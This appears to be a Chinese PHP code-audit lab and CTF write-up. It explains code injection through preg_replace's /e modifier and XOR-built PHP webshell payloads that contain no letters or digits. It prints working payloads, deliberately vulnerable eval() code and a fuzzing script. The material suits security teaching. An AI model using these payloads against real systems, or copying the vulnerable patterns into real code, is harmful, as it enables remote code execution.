PHP-Audit-Labs-Day8-preg_replace函数之命令执行

PHP-Audit-Labs

项目地址:https://www.ripstech.com/php-security-calendar-2017/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) { //get获取到的参数赋值给regex value
echo complexStrtolower($regex, $value) . "\n";
}

?>

preg_replace:(PHP 5.5)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

  • $pattern 存在 /e 模式修正符,允许代码执行
  • /e 模式修正符,是 preg_replace()$replacement 当做php代码来执行

这里的代码\\1涉及到正则表达式反向引用的知识

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

详细分析: 深入研究preg_replace与代码执行

这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

1
2
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET方式传入,你会发现无法执行 phpinfo 函数

var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _*

这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线,发现有:(这是非法字符不为首字母的情况)当非法字符为首字母时,只有点号会被替换成下划线:

所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。这里我提供一个 payload\S*=${phpinfo()}

下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题

1
2
3
4
5
6
7
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

CTF

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";

?>

index2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>

题目缺失了flag.php

题目一:index.php

考点:

1.传入的code参数长度小于40

2.不能有字符或者数字

若无条件二限制,构造payload即可拿到flag

1
2
index.php?code=getFlag();
index.php?code=$_GET[_]();&_=getFlag

phithon 师傅的 一些不包含数字和字母的webshell 一文。通过异或 ^ 运算、取反 ~ 运算,构造出我们想要的字符就行。这里我们直接看 payload

1
2
3
4
5
6
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
拆解如下: 第1个GET请求参数:code & 第2个GET请求参数:_
$_="`{{{"^"?<>/"; ${$_}[_](${$_}[__]); & _=getFlag
$_="_GET"; $_GET[_]($_GET[__]); & _=getFlag
getFlag($_GET[__]);
getFlag(null);

题目二:index2.php

这道题目实际上和上面那道题目差不多,只是过滤了一个下划线 _ 而已,我们可以用中文来做变量名:

1
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();

当然,我们也可以 fuzz 可用的 ASCII 做变量名,fuzz 代码如下:

1
2
3
4
5
6
7
import requests
for i in range(0,256):
asc = "%%%02x" % i
url = 'http://localhost/demo/index2.php?code=$%s="{{{{{{{"^"%%1c%%1e%%0f%%3d%%17%%1a%%1c";$%s();' % (asc,asc)
r = requests.get(url)
if 'HRCTF' in r.text:
print("%s 可用" %asc)

可以看到此时 payload 长度为 28 。当然还有其他 payload ,例如下面这样的,原理都差不多,大家自行理解。

转载自:

https://xz.aliyun.com/t/2577

-------------本文结束感谢您的阅读-------------